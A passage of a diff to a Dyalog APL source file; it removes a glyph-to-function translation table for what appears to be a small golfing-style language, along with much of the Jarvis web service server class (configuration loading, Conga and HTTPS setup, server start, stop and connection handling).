} - t,←⊂'φ' '_Fib' ⋄ ns._Fib←{⍺←0 1 ⋄ 0=⍵:⊃⍺ ⋄ (1↓⍺,+/⍺)∇ ⍵-1} - t,←⊂'⍗' '_PowerDown' ⋄ ns._PowerDown←{op←⍺⍺⍣¯1 ⋄ 0=⎕NC'⍺':op ⍵ ⋄ ⍺ op ⍵} - t,←⊂'⍐' '_PowerUp' ⋄ ns._PowerUp←{op←⍺⍺⍣(¯1+2*31) ⋄ 0=⎕NC'⍺':op ⍵ ⋄ ⍺ op ⍵} - t,←⊂'∧' '_And' ⋄ ns._And←{0=⎕NC'⍺':⍵[⍋⍵] ⋄ ⍺∧⍵} - t,←⊂'∨' '_Or' ⋄ ns._Or←{0=⎕NC'⍺':⍵[⍒⍵] ⋄ ⍺∨⍵} - t,←⊂'⍦' '_Middle' ⋄ ns._Middle←{⍺>0:(-⍺)↓⍺↓⍵ ⋄ x←⌈(|⍺)-⍨2÷⍨≢⍵ ⋄ (-x)↓x↓⍵} - t,←⊂'⍁' '_Diagonal' ⋄ ns._Diagonal←{⍵⊢∘⊂⌸⍨⍥,+/↑⍳⍴⍵} - t,←⊂'⍮' '_Pair' ⋄ ns._Pair←{ - 0≠⎕NC'⍺':⍺ ⍵ - ⍵=0:'0123456789' - ⍵=1:'abcdefghijklmnopqrstuvwxyz' - ⍵=2:'ABCDEFGHIJKLMNOPQRSTUVWXYZ' - ⍵=3:'yaeiou' - ⍵=4:'YAEIOU' - ⍵=5:'YAEIOU' - ⍵=6:819⌶⎕A~'YAEIOU' - ⍵=7:⎕A~'YAEIOU' - ⍵=8:4294967296 - ⍵=9:4294967295 - ⍵=10:2÷¯1+5*÷2 ⍝ golden ratio - ⍵=11:⎕UCS 10 - ⍵=12:3.1415 - } - t,←⊂'Φ' '_Totient' ⋄ ns._Totient←((×/⊢-≠)3∘dfns.pco) - t,←⊂'⍲' '_Prefixes' ⋄ ns._Prefixes←{0=⎕NC'⍺':(⍳∘≢↑¨⊂)⍵ ⋄ ⍺⍲⍵} - t,←⊂'⍱' '_Suffixes' ⋄ ns._Suffixes←{0=⎕NC'⍺':(⌽∘,¨,\∘⌽)⍵ ⋄ ⍺⍱⍵} - t,←⊂'=' '_Equal' ⋄ ns._Equal←{0=⎕NC'⍺':(1=≢∘∪)⍵ ⋄ ⍺=⍵} - t,←⊂'⍡' '_Filter' ⋄ ns._Filter←{⍵/⍨⍺⍺ ⍵} - t,←⊂'⊤' '_DownTack' ⋄ ns._DownTack←{⍺←10⋄⍺⊥⍣¯1⊢⍵} - t,←⊂'⌂' '_DX' ⋄ ns._DX←∇∇ - ⍝ translation and execution - k←,¯1↓⍉↑t ⋄ t3←{{0=≢⊃⍵:⊃⌽⍵ ⋄ ⊃⌽t⊃⍨⊃⍵}¨⍵,⍥⊂¨⍨{⍸∊k=⊃⍵}¨⍵} - g←⍺⍺ ⋄ r←t3¨{⍵/⍨{0≠≢⍵}¨⍵}{{⍵↓⍨-'⍝'=⊃⊃⌽⍵}60⌶⍵}¨↓⎕CR'g' - p←↑↑{∊⍺'⋄'⍵}/{∊⍺' '⍵}/¨r - 2=⎕NC'⍺':⍺(ns⍎p)⍵ ⋄ (ns⍎p)⍵ - } - AddCentury←{ ⍝ ⍺ ←→ Century Window, Century Anchor Year ⍝ ⍵ ←→Decimal time number 60 @@ -327,7 +29,6 @@ lam←{ c←b×s+y0)∧k[2;]≤l+31 28 31 30 31 30 31 31 30 31 30 31[11⌊0⌈k[1;]-1] - ⍵×(k[5;]=⌈k[5;])∧g∧∧⌿(f(≤⍤¯1)k)∧c(>⍤¯1)k - } - - - :Class Jarvis -⍝ Dyalog Web Service Server -⍝ See https://dyalog.github.io/Jarvis for documentation - - (⎕ML ⎕IO)←1 1 - ∇ r←Config - ⍝ returns current configuration - :Access public - r←↑{⍵(⍎⍵)}¨⎕THIS⍎'⎕NL ¯2.2 ¯2.1 ¯2.3' - ∇ - - ∇ r←{value}DebugLevel level - ⍝ monadic: return 1 if level is within Debug (powers of 2) - ⍝ example: stopIf DebugLevel 2 ⍝ sets a stop if Debug contains 2 - ⍝ dyadic: return value unless level is within Debug (powers of 2) - ⍝ example: :Trap 0 DebugLevel 5 ⍝ set Trap 0 unless Debug contains 1 or 4 in its - r←∨/(2 2 2⊤⊃Debug)∨.∧2 2 2⊤level - :If 0≠⎕NC'value' - r←value/⍨~r - :EndIf - ∇ - ∇ {r}←{level}Log msg;ts :Access public overridable :If Logging>0∊⍴msg @@ -486,59 +98,6 @@ lam←{ MakeCommon ∇ - ∇ make1 args;rc;msg;char;t - :Access public - :Implements constructor - ⍝ args is one of - ⍝ - a simple character vector which is the name of a configuration file - ⍝ - a reference to a namespace containing named configuration settings - ⍝ - a depth 1 or 2 vector of - ⍝ [1] integer port to listen on - ⍝ [2] charvec function folder or ref to code location - ⍝ [3] paradigm to use ('JSON' or 'REST') - MakeCommon - :If char←isChar args ⍝ character argument? it's either config filename or CodeLocation folder - :If ~⎕NEXISTS args - →0⊣Log'Unable to find "',args,'"' - :ElseIf 2=t←1 ⎕NINFO args ⍝ normal file - :If (lc⊢/⎕NPARTS args)∊'.json' '.json5' ⍝ json files are configuration - :If 0≠⊃(rc msg)←LoadConfiguration JarvisConfig←args - Log'Error loading configuration: ',msg - :EndIf - :Else - CodeLocation←args ⍝ might be a namespace script or class - :EndIf - :ElseIf 1=t ⍝ folder means it's CodeLocation - CodeLocation←args - :Else ⍝ not a file or folder - Log'Invalid constructor argument "',args,'"' - :EndIf - :ElseIf 9.1={⎕NC⊂,'⍵'}args ⍝ namespace? - :If 0≠⊃(rc msg)←LoadConfiguration args - Log'Error loading configuration: ',msg - :EndIf - :Else - :If 326=⎕DR args - :AndIf 0∧.=≡¨2↑args ⍝ if 2↑args is (port ref) (both scalar) - args[1]←⊂,args[1] ⍝ nest port so ∇default works properly - :EndIf - - (Port CodeLocation Paradigm JarvisConfig)←args default Port CodeLocation Paradigm JarvisConfig - :EndIf - ∇ - - ∇ MakeCommon - :Trap 11 - JSONin←0 ##.##.⎕JSON⍠('Dialect' 'JSON5')('Format'JSONInputFormat)⊢ ⋄ {}JSONin'1' - JSONout←1 ##.##.⎕JSON⍠'HighRank' 'Split'⊢ ⋄ {}JSONout 1 - JSONread←0 ##.##.⎕JSON⍠'Dialect' 'JSON5'⊢ ⍝ for reading configuration files - :Else - JSONin←0 ##.##.⎕JSON⍠('Format'JSONInputFormat)⊢ - JSONout←1 ##.##.⎕JSON⊢ - JSONread←0 ##.##.⎕JSON⊢ - :EndTrap - ∇ - ∇ r←args default defaults args←,⊆args r←(≢defaults)↑args,(≢args)↓defaults @@ -549,135 +108,6 @@ lam←{ {0:: ⋄ {}LDRC.Close ServerName}⍬ ∇ - ∇ r←Run args;msg;rc - ⍝ args is one of - ⍝ - a simple character vector which is the name of a configuration file - ⍝ - a reference to a namespace containing named configuration settings - ⍝ - a depth 1 or 2 vector of - ⍝ [1] integer port to listen on - ⍝ [2] charvec function folder or ref to code location - ⍝ [3] paradigm to use ('JSON' or 'REST') - :Access shared public - :Trap 0 - (rc msg)←(r←New args).Start - :Else - (r rc msg)←'' ¯1 ⎕DMX.EM - :EndTrap - r←(r(rc msg)) - ∇ - - ∇ (rc msg)←Start;html;homePage;t - :Access public - :Trap 0 DebugLevel 1 - Log'Starting ',⍕2↑Version - :If _started - :If 0(,2)≡LDRC.GetProp ServerName'Pause' - rc←1⊃LDRC.SetProp ServerName'Pause' 0 - →0 If(rc'Failed to unpause server') - (rc msg)←0 'Server resuming operations' - →0 - :EndIf - →0 If(rc msg)←¯1 'Server thinks it''s already started' - :EndIf - - :If _stop - →0 If(rc msg)←¯1 'Server is in the process of stopping' - :EndIf - - :If 'CLEAR WS'≡⎕WSID - :If ⎕NEXISTS JarvisConfig - :AndIf 2=⊃1 ⎕NINFO JarvisConfig - _rootFolder←⊃1 ⎕NPARTS JarvisConfig - :Else - _rootFolder←⊃1 ⎕NPARTS SourceFile - :EndIf - :Else - _rootFolder←⊃1 ⎕NPARTS ⎕WSID - :EndIf - - →0 If(rc msg)←LoadConfiguration JarvisConfig - →0 If(rc msg)←CheckPort - →0 If(rc msg)←CheckCodeLocation - →0 If(rc msg)←Setup - →0 If(rc msg)←LoadConga - - homePage←1 ⍝ default is to use built-in home page - :Select ⊃HTMLInterface - :Case 0 ⍝ explicitly no HTML interface, carry on - _htmlEnabled←0 - :Case 1 ⍝ explicitly turned on - :If Paradigm≢'JSON' - Log'HTML interface is only available using JSON paradigm' - :Else - _htmlEnabled←1 - :EndIf - :Case ¯1 ⍝ turn on if JSON paradigm - _htmlEnabled←Paradigm≡'JSON' ⍝ if not specified, HTML interface is enabled for JSON paradigm - :Else - :If 1<|≡HTMLInterface ⍝ is it '' 'function'? - t←2⊃HTMLInterface - :If 1 1 0≡⊃CodeLocation.⎕AT t - _htmlRootFn←t - _htmlEnabled←1 - :Else - →0 If(rc msg)←¯1('HTML root function "',(⍕CodeLocation),'.',t,'" is not a monadic, result-returning function.') - :EndIf - :Else ⍝ otherwise it's 'file/folder' - _htmlEnabled←1 - html←1 ⎕NPARTS((isRelPath HTMLInterface)/_rootFolder),HTMLInterface - :If isDir∊html - _htmlFolder←{⍵,('/'=⊢/⍵)↓'/'}∊html - :Else - _htmlFolder←1⊃html - _htmlDefaultPage←∊1↓html - :EndIf - homePage←⎕NEXISTS html←_htmlFolder,_htmlDefaultPage - Log(~homePage)/'HTML home page file "',(∊html),'" not found.' - :EndIf - :EndSelect - - :If EnableCORS ⍝ if we've enabled CORS - :AndIf ¯1∊CORS_Methods ⍝ but not set any pre-flighted methods - :If Paradigm≡'JSON' - CORS_Methods←'GET,POST,OPTIONS' ⍝ allowed JSON methods are GET, POST, and OPTIONS - :Else - CORS_Methods←1↓∊',',¨RESTMethods[;1] ⍝ allowed REST methods are what the service supports - :EndIf - :EndIf - - CORS_Methods←uc CORS_Methods - - →0 If(rc msg)←StartServer - - Log'Jarvis starting in "',Paradigm,'" mode on port ',⍕Port - Log'Serving code in ',(⍕CodeLocation),(CodeSource≢'')/' (populated with code from "',CodeSource,'")' - Log(_htmlEnabled∧homePage)/'Click http',(~Secure)↓'s://',MyAddr,':',(⍕Port),' to access web interface' - - :Else ⍝ :Trap - (rc msg)←¯1 ⎕DMX.EM - :EndTrap - ∇ - - ∇ (rc msg)←Stop;ts - :Access public - :If _stop - →0⊣(rc msg)←¯1 'Server is already stopping' - :EndIf - :If ~_started - →0⊣(rc msg)←¯1 'Server is not running' - :EndIf - ts←⎕AI[3] - _stop←1 - Log'Stopping server...' - {0:: ⋄ {}LDRC.Close 2⊃LDRC.Clt'' ''Port'http'}'' - :While ~_stopped - :If WaitTimeout<⎕AI[3]-ts - →0⊣(rc msg)←¯1 'Server seems stuck' - :EndIf - :EndWhile - (rc msg)←0 'Server stopped' - ∇ - ∇ (rc msg)←Pause :Access public →0 If~_started⊣(rc msg)←¯1 'Server is not running' @@ -685,1444 +115,4 @@ lam←{ →0 If 0≠rc←⊃LDRC.SetProp ServerName'Pause' 2⊣msg←'Error attempting to pause server' Log'Pausing server...' (rc msg)←0 'Server paused' - ∇ - - ∇ (rc msg)←Reset - :Access Public - ⎕TKILL _serverThread,_sessionThread,_taskThreads - _sessions←⍬ - _sessionsInfo←0 5⍴0 - _stopped←~_stop←_started←0 - (rc msg)←0 'Server reset (previously set options are still in effect)' - ∇ - - ∇ r←Running - :Access public - r←~_stopped - ∇ - - ∇ (rc msg)←CheckPort;p - ⍝ check for valid port number - :If DYALOG_JARVIS_PORT≢'' ⍝ environment variable takes precedence - Port←DYALOG_JARVIS_PORT - :EndIf - (rc msg)←3('Invalid port: ',∊⍕Port) - →0 If 0=p←⊃⊃(//)⎕VFI⍕Port - →0 If{(⍵>32767)∨(⍵<1)∨⍵≠⌊⍵}p - (rc msg)←0 '' - ∇ - - ∇ (rc msg)←{force}LoadConfiguration value;config;public;set;file - :Access public - :If 0=⎕NC'force' ⋄ force←0 ⋄ :EndIf - (rc msg)←0 '' - →(_configLoaded>force)⍴0 ⍝ did we already load from AutoStart? - :Trap 0 DebugLevel 1 - :If isChar value - :If '#.'≡2↑value ⍝ check if a namespace reference - :AndIf 9.1=⎕NC⊂value - config←⍎value - →Load - :EndIf - file←JarvisConfig - :If ~0∊⍴value - file←value - :EndIf - →0 If 0∊⍴file - :If ⎕NEXISTS file - config←JSONread⊃⎕NGET file - :Else - →0⊣(rc msg)←6('Configuation file "',file,'" not found') - :EndIf - :ElseIf 9.1={⎕NC⊂,'⍵'}value ⍝ namespace? - config←value - :EndIf - Load: - public←⎕THIS⍎'⎕NL ¯2.2 ¯2.1 ¯2.3' ⍝ find all the public fields in this class - :If ~0∊⍴set←public∩config.⎕NL ¯2 ¯9 - config{⍎⍵,'←⍺⍎⍵'}¨set - :EndIf - _configLoaded←1 - :Else - →0⊣(rc msg)←⎕DMX.EN ⎕DMX.('Error loading configuration: ',EM,(~0∊⍴Message)/' (',Message,')') - :EndTrap - ∇ - - ∇ (rc msg)←LoadConga;ref;root;nc;n;ns;congaCopied;class;path - ⍝↓↓↓ Check if LDRC exists (VALUE ERROR (6) if not), and is LDRC initialized? (NONCE ERROR (16) if not) - - (rc msg)←1 '' - - :Hold 'JarvisInitConga' - :If {6 16 999::1 ⋄ ''≡LDRC:1 ⋄ 0⊣LDRC.Describe'.'}'' - LDRC←'' - :If ~0∊⍴CongaRef ⍝ did the user supply a reference to Conga? - LDRC←ResolveCongaRef CongaRef - →∆END↓⍨0∊⍴msg←(''≡LDRC)/'CongaRef (',(⍕CongaRef),') does not point to a valid instance of Conga' - :Else - :For root :In ##.## # - ref nc←root{1↑¨⍵{(×⍵)∘/¨⍺ ⍵}⍺.⎕NC ⍵}ns←'Conga' 'DRC' - :If 9=⊃⌊nc ⋄ :Leave ⋄ :EndIf - :EndFor - - :If 9=⊃⌊nc - LDRC←ResolveCongaRef root⍎∊ref - →∆END↓⍨0∊⍴msg←(''≡LDRC)/(⍕root),'.',(∊ref),' does not point to a valid instance of Conga' - →∆COPY↓⍨{999::0 ⋄ 1⊣LDRC.Describe'.'}'' ⍝ it's possible that Conga was saved in a semi-initialized state - Log'Conga library found at ',(⍕root),'.',∊ref - :Else - ∆COPY: - class←⊃⊃⎕CLASS ⎕THIS - congaCopied←0 - :For n :In ns - :For path :In (1+0∊⍴CongaPath)⊃(⊂CongaPath)((DyalogRoot,'ws/')'') ⍝ if CongaPath specified, use it exclusively - :Trap Debug↓0 - n class.⎕CY path,'conga' - LDRC←ResolveCongaRef(class⍎n) - →∆END↓⍨0∊⍴msg←(''≡LDRC)/n,' was copied from ',path,'conga but is not valid' - Log n,' copied from ',path,'conga' - →∆COPIED⊣congaCopied←1 - :EndTrap - :EndFor - :EndFor - →∆END↓⍨0∊⍴msg←(~congaCopied)/'Neither Conga nor DRC were successfully copied from [DYALOG]/ws/conga' - ∆COPIED: - :EndIf - :EndIf - :EndIf - CongaVersion←0.1⊥2↑LDRC.Version - LDRC.X509Cert.LDRC←LDRC ⍝ reset X509Cert.LDRC reference - Log'Local Conga reference is ',⍕LDRC - rc←0 - ∆END: - :EndHold - ∇ - - ∇ LDRC←ResolveCongaRef CongaRef;z;failed - ⍝ Attempt to resolve what CongaRef refers to - ⍝ CongaRef can be a charvec, reference to the Conga or DRC namespaces, or reference to an iConga instance - ⍝ LDRC is '' if Conga could not be initialized, otherwise it's a reference to the the Conga.LIB instance or the DRC namespace - - LDRC←'' ⋄ failed←0 - :Select nameClass CongaRef ⍝ what is it? - :Case 9.1 ⍝ namespace? e.g. CongaRef←DRC or Conga - ∆TRY: - :Trap 0 DebugLevel 1 - :If ∨/'.Conga'⍷⍕CongaRef ⋄ LDRC←CongaPath CongaRef.Init'Jarvis' ⍝ is it Conga? - :ElseIf 0≡⊃CongaRef.Init CongaPath ⋄ LDRC←CongaRef ⍝ DRC? - :Else ⋄ →∆EXIT⊣LDRC←'' - :End - :Else ⍝ if Jarvis is reloaded and re-executed in rapid succession, Conga initialization may fail, so we try twice - :If failed ⋄ →∆EXIT⊣LDRC←'' - :Else ⋄ →∆TRY⊣failed←1 - :EndIf - :EndTrap - :Case 9.2 ⍝ instance? e.g. CongaRef←Conga.Init '' - LDRC←CongaRef ⍝ an instance is already initialized - :Case 2.1 ⍝ variable? e.g. CongaRef←'#.Conga' - :Trap 0 DebugLevel 1 - LDRC←ResolveCongaRef(⍎∊⍕CongaRef) - :EndTrap - :EndSelect - ∆EXIT: - ∇ - - ∇ (rc msg secureParams)←CreateSecureParams;cert;certs;msg;inds - ⍝ return Conga parameters for running HTTPS, if Secure is set to 1 - - LDRC.X509Cert.LDRC←LDRC ⍝ make sure the X509 instance points to the right LDRC - (rc secureParams msg)←0 ⍬'' - :If Secure - :If ~0∊⍴RootCertDir ⍝ on Windows not specifying RootCertDir will use MS certificate store - →∆EXIT If(rc msg)←'RootCertDir'Exists RootCertDir - →∆EXIT If(rc msg)←{(⊃⍵)'Error setting RootCertDir'}LDRC.SetProp'.' 'RootCertDir'RootCertDir -⍝ The following is commented out because it seems the GnuTLS knows to use the operating system's certificate collection even on non-Windows platforms -⍝ :ElseIf ~isWin -⍝ →∆EXIT⊣(rc msg)←¯1 'No RootCertDir spcified' - :EndIf - :If 0∊⍴ServerCertSKI ⍝ no certificate ID specified, check for Cert and Key files - →∆EXIT If(rc msg)←'ServerCertFile'Exists ServerCertFile - →∆EXIT If(rc msg)←'ServerKeyFile'Exists ServerKeyFile - :Trap 0 DebugLevel 1 - cert←⊃LDRC.X509Cert.ReadCertFromFile ServerCertFile - :Else - (rc msg)←⎕DMX.EN('Unable to decode ServerCertFile "',(∊⍕ServerCertFile),'" as a certificate') - →∆EXIT - :EndTrap - cert.KeyOrigin←'DER'ServerKeyFile - :ElseIf isWin ⍝ ServerCertSKI only on Windows - certs←LDRC.X509Cert.ReadCertUrls - :If 0∊⍴certs - →∆EXIT⊣(rc msg)←8 'No certificates found in Microsoft Certificate Store' - :Else - inds←1+('id=',ServerCertSKI,';')⎕S{⍵.BlockNum}⍠'Greedy' 0⊢2⊃¨certs.CertOrigin - :If 1≠≢inds - rc←9 - msg←(0 2⍸≢inds)⊃('Certificate with id "',ServerCertSKI,'" was not found in the Microsoft Certificate Store')('There is more than one certificate with Subject Key Identifier "',ServerCertSKI,'" in the Microsoft Certificate Store') - →∆EXIT - :EndIf - cert←certs[⊃inds] - :EndIf - :Else ⍝ ServerCertSKI is defined, but we're not running Windows - →∆EXIT⊣(rc msg)←10 'ServerCertSKI is currently valid only under Windows' - :EndIf - secureParams←('X509'cert)('SSLValidation'SSLValidation)('Priority'Priority) - :EndIf - ∆EXIT: - ∇ - - ∇ (rc msg)←CheckCodeLocation;root;m;res;tmp;fn;path - (rc msg)←0 '' - :If DYALOG_JARVIS_CODELOCATION≢'' ⍝ environment variable take precedence - CodeLocation←DYALOG_JARVIS_CODELOCATION - :EndIf - :If 0∊⍴CodeLocation - :If 0∊⍴JarvisConfig ⍝ if there's a configuration file, use its folder for CodeLocation - →0⊣(rc msg)←4 'CodeLocation is empty!' - :Else - CodeLocation←⊃1 ⎕NPARTS JarvisConfig - :EndIf - :EndIf - :Select ⊃{⎕NC'⍵'}CodeLocation ⍝ need dfn because CodeLocation is a field and will always be nameclass 2 - :Case 9 ⍝ reference, just use it - :Case 2 ⍝ variable, could be file path or ⍕ of reference from JarvisConfig - :If 326=⎕DR tmp←{0::⍵ ⋄ '#'≠⊃⍵:⍵ ⋄ ⍎⍵}CodeLocation - :AndIf 9={⎕NC'⍵'}tmp ⋄ CodeLocation←tmp - :Else - root←(isRelPath CodeLocation)/_rootFolder - path←∊1 ⎕NPARTS root,CodeLocation - :Trap 0 DebugLevel 1 - :If 1=t←1 ⎕NINFO path ⍝ folder? - CodeLocation←⍎'CodeLocation'#.⎕NS'' - _codeSource←path - →0 If(rc msg)←CodeLocation LoadFromFolder path - :ElseIf 2=t ⍝ file? - CodeLocation←#.⎕FIX'file://',path - _codeSource←path - :Else - →0⊣(rc msg)←5('CodeLocation "',(∊⍕CodeLocation),'" is not a folder or script file.') - :EndIf - - :Case 22 ⍝ file name error - →0⊣(rc msg)←6('CodeLocation "',(∊⍕CodeLocation),'" was not found.') - :Else ⍝ anything else - →0⊣(rc msg)←7((⎕DMX.(EM,' (',Message,') ')),'occured when validating CodeLocation "',(∊⍕CodeLocation),'"') - :EndTrap - :EndIf - :Else - →0⊣(rc msg)←5 'CodeLocation is not valid, it should be either a namespace/class reference or a file path' - :EndSelect - - :For fn :In AppInitFn AppCloseFn ValidateRequestFn AuthenticateFn SessionInitFn~⊂'' - :If 3≠CodeLocation.⎕NC fn - msg,←(0∊⍴msg)↓',"CodeLocation.',fn,'" was not found ' - :EndIf - :EndFor - →0 If rc←8×~0∊⍴msg - - :If ~0∊⍴AppInitFn ⍝ initialization function specified? - :Select ⊃CodeLocation.⎕AT AppInitFn - :Case 1 0 0 ⍝ result-returning niladic? - stopIf DebugLevel 2 - res←CodeLocation⍎AppInitFn ⍝ run it - :Case 1 1 0 ⍝ result-returning monadic? - stopIf DebugLevel 2 - res←(CodeLocation⍎AppInitFn)⎕THIS ⍝ run it - :Else - →0⊣(rc msg)←8('"',(⍕CodeLocation),'.',AppInitFn,'" is not a niladic or monadic result-returning function') - :EndSelect - :If 0≠⊃res - →0⊣(rc msg)←2↑res,(≢res)↓¯1('"',(⍕CodeLocation),'.',AppInitFn,'" did not return a 0 return code') - :EndIf - :EndIf - - - :If ~0∊⍴AppCloseFn ⍝ application close function specified? - :If 1 0 0≢⊃CodeLocation.⎕AT AppCloseFn ⍝ result-returning niladic? - →0⊣(rc msg)←8('"',(⍕CodeLocation),'.',AppCloseFn,'" is not a niladic result-returning function') - :EndIf - :EndIf - - Validate←{0} ⍝ dummy validation function - :If ~0∊⍴ValidateRequestFn ⍝ Request validation function specified? - :If ∧/(⊃CodeLocation.⎕AT ValidateRequestFn)∊¨1(1 ¯2)0 ⍝ result-returning monadic or ambivalent? - Validate←CodeLocation⍎ValidateRequestFn - :Else - →0⊣(rc msg)←8('"',(⍕CodeLocation),'.',ValidateRequestFn,'" is not a monadic result-returning function') - :EndIf - :EndIf - - Authenticate←{0} ⍝ dummy authentication function - :If ~0∊⍴AuthenticateFn ⍝ authentication function specified? - :If ∧/(⊃CodeLocation.⎕AT AuthenticateFn)∊¨1(1 ¯2)0 ⍝ result-returning monadic or ambivalent? - Authenticate←CodeLocation⍎AuthenticateFn - :Else - →0⊣(rc msg)←8('"',(⍕CodeLocation),'.',AuthenticateFn,'" is not a monadic result-returning function') - :EndIf - :EndIf - ∇ - - ∇ (rc msg)←Setup - ⍝ perform final setup before starting server - (rc msg)←0 '' - Paradigm←uc Paradigm - :Select Paradigm - :Case 'JSON' - RequestHandler←HandleJSONRequest - :Case 'REST' - RequestHandler←HandleRESTRequest - :If 2>≢⍴RESTMethods - RESTMethods←↑2⍴¨'/'(≠⊆⊢)¨','(≠⊆⊢),RESTMethods - :EndIf - :Else - (rc msg)←¯1 'Invalid paradigm' - :EndSelect - ∇ - - Exists←{0:: ¯1 (⍺,' "',⍵,'" is not a valid folder name.') ⋄ ⎕NEXISTS ⍵:0 '' ⋄ ¯1 (⍺,' "',⍵,'" was not found.')} - - ∇ (rc msg)←StartServer;r;cert;secureParams;accept;deny;mask;certs;options - msg←'Unable to start server' - accept←'Accept'ipRanges AcceptFrom - deny←'Deny'ipRanges DenyFrom - →∆EXIT If⊃(rc msg secureParams)←CreateSecureParams - - {}LDRC.SetProp'.' 'EventMode' 1 ⍝ report Close/Timeout as events - - options←'' - - :If 3.3≤CongaVersion ⍝ can we set DecodeBuffers at server creation? - options←⊂'Options' 5 ⍝ DecodeBuffers + WSAutoAccept - :EndIf - - :If 3.4≤CongaVersion ⍝ DOSLimit support started with v3.4 - :AndIf DOSLimit≠¯1 ⍝ not using Conga's default value - :If 0≠⊃LDRC.SetProp'.' 'DOSLimit'DOSLimit - →∆EXIT⊣(rc msg)←¯1 'Invalid DOSLimit setting: ',∊⍕DOSLimit - :EndIf - :EndIf - - _connections←⎕NS'' - _connections.index←2 0⍴'' 0 ⍝ row-oriented for faster lookup - _connections.lastCheck←0 - - :If 0=rc←1⊃r←LDRC.Srv ServerName''Port'http'BufferSize,secureParams,accept,deny,options - ServerName←2⊃r - :If 3.3>CongaVersion - {}LDRC.SetProp ServerName'FIFOMode' 0 ⍝ deprecated in Conga v3.2 - {}LDRC.SetProp ServerName'DecodeBuffers' 15 ⍝ 15 ⍝ decode all buffers - {}LDRC.SetProp ServerName'WSFeatures' 1 ⍝ auto accept WS requests - :EndIf - :If 0∊⍴Hostname ⍝ if Host hasn't been set, set it to the default - Hostname←'http',(~Secure)↓'s://',(2 ⎕NQ'.' 'TCPGetHostID'),((~Port∊80 443)/':',⍕Port),'/' - :EndIf - InitSessions - (rc msg)←RunServer - :Else - Log msg←'Error ',(⍕rc),' creating server',(rc∊98 10048)/': port ',(⍕Port),' is already in use' ⍝ 98=Linux, 10048=Windows - :EndIf - ∆EXIT: - ∇ - - ∇ (rc msg)←RunServer;thread - thread←lc,⍕DYALOG_JARVIS_THREAD - :If (⊂thread)∊'' 'auto' - :If InTerm ⍝ do we have an interactive terminal? - thread←'debug' - :Else - thread←,'1' - :EndIf - :EndIf - :Select thread - :Case ,'0' ⍝ Run in thread 0 - (rc msg)←Server'' - QuadOFF - :Case ,'1' ⍝ Run in non-0 thread, use ⎕TSYNC - (rc msg)←⎕TSYNC _serverThread←Server&⍬ - QuadOFF - :Case 'debug' - _serverThread←Server&⍬ - (rc msg)←0 'Server started' - :Else - (rc msg)←¯1 'Invalid setting for DYALOG_JARVIS_THREAD' - :EndSelect - ∇ - - ∇ {r}←Server arg;wres;rc;obj;evt;data;ref;ip;msg;tmp;conx - (_started _stopped)←1 0 - :While ~_stop - :Trap 0 DebugLevel 1 - wres←LDRC.Wait ServerName WaitTimeout ⍝ Wait for WaitTimeout before timing out - ⍝ wres: (return code) (object name) (command) (data) - (rc obj evt data)←4↑wres - conx←obj(⍳↓⊣)'.' - :Select rc - :Case 0 - :Select evt - :Case 'Error' - _stop←ServerName≡obj ⍝ if we got an error on the server itself, signal to stop - :If 0≠4⊃wres - Log'Server: DRC.Wait reported error ',(⍕4⊃wres),' on ',(2⊃wres),GetIP obj - :EndIf - RemoveConnection conx ⍝ Conga closes object on an Error event - - :Case 'Connect' - AddConnection conx - - :CaseList 'HTTPHeader' 'HTTPTrailer' 'HTTPChunk' 'HTTPBody' - :If 0≠_connections.⎕NC conx - ref←_connections⍎conx - _taskThreads←⎕TNUMS∩_taskThreads,ref{⍺ HandleRequest ⍵}&wres - ref.Time←⎕AI[3] - :Else - Log'Server: Object ''_connections.',conx,''' was not found.' - {0:: ⋄ {}LDRC.Close ⍵}obj - :EndIf - - :Case 'Closed' - RemoveConnection conx - - :Case 'Timeout' - - :Else ⍝ unhandled event - Log'Server: Unhandled Conga event:' - Log⍕wres - :EndSelect ⍝ evt - - :Case 1010 ⍝ Object Not found - :If ~_stop - Log'Server: Object ''',ServerName,''' has been closed - Jarvis shutting down' - _stop←1 - :EndIf - :Else - Log'Server: Conga wait failed:' - Log wres - :EndSelect ⍝ rc - - CleanupConnections - - :Else ⍝ :Trap - Log'*** Server error ',msg←1 ⎕JSON⍠'Compact' 0⊢⎕DMX - r←¯1 msg - →Exit - :EndTrap - :EndWhile - - r←0 'Server stopped' - - Exit: - - :If ~0∊⍴AppCloseFn - r←CodeLocation⍎AppCloseFn - :EndIf - - Close - ⎕TKILL _sessionThread - (_stop _started _stopped)←0 0 1 - ∇ - - ∇ AddConnection conx - :Hold '_connections' - conx _connections.⎕NS'' - _connections.index,←conx(⎕AI[3]) - (_connections⍎conx).IP←2⊃2⊃LDRC.GetProp obj'PeerAddr' - :EndHold - ∇ - - ∇ RemoveConnection conx - :Hold '_connections' - _connections.⎕EX conx - _connections.index/⍨←_connections.index[1;]≢¨⊂conx - :EndHold - ∇ - - ∇ CleanupConnections;conxNames;timedOut;dead;kids;connecting;connected - :If _connections.lastCheck<⎕AI[3]-ConnectionTimeout×1000 - :Hold '_connections' - connecting←connected←⍬ - :If ~0∊⍴kids←2 2⊃LDRC.Tree ServerName ⍝ retrieve children of server - ⍝ LDRC.Tree - ⍝ connecting → status 3 1 - incoming connection - ⍝ connected → status 3 4 - connected connection - (connecting connected)←2↑{((2 2⍴3 1 3 4)⍪⍵[;2 3]){⊂1↓⍵}⌸'' '',⍵[;1]}↑⊃¨kids - :EndIf - conxNames←_connections.index[1;]~connecting - timedOut←_connections.index[1;]/⍨ConnectionTimeout<0.001×⎕AI[3]-_connections.index[2;] - :If ∨/{~0∊⍴⍵}¨connected conxNames - :If ~0∊⍴timedOut - timedOut/⍨←{6::1 ⋄ 0=(_connections⍎⍵).⎕NC⊂'Req'}¨timedOut - :EndIf - dead←(connected~conxNames),timedOut ⍝ (connections not in the index), timed out - {0∊⍴⍵: ⋄ {}LDRC.Close ServerName,'.',⍵}¨dead ⍝ attempt to close them - ⍝ remove timed out, or connections that are - _connections.⎕EX(conxNames~connected~dead),timedOut - _connections.index/⍨←_connections.index[1;]∊_connections.⎕NL ¯9 - :EndIf - _connections.lastCheck←⎕AI[3] - :EndHold - :EndIf - ∇ - - :Section RequestHandling - - ∇ r←ErrorInfo - :Trap 0 - r←⍕ErrorInfoLevel↑⎕DMX.(EM({⍵↑⍨⍵⍳']'}2⊃DM)) - :Else - r←'' - :EndTrap - ∇ - - ∇ req←MakeRequest args - ⍝ create a request, use MakeRequest '' for interactive debugging - ⍝ :Access public ⍝ uncomment for debugging - :If 0∊⍴args - req←⎕NEW Request - :Else - req←⎕NEW Request args - :EndIf - req.(Server 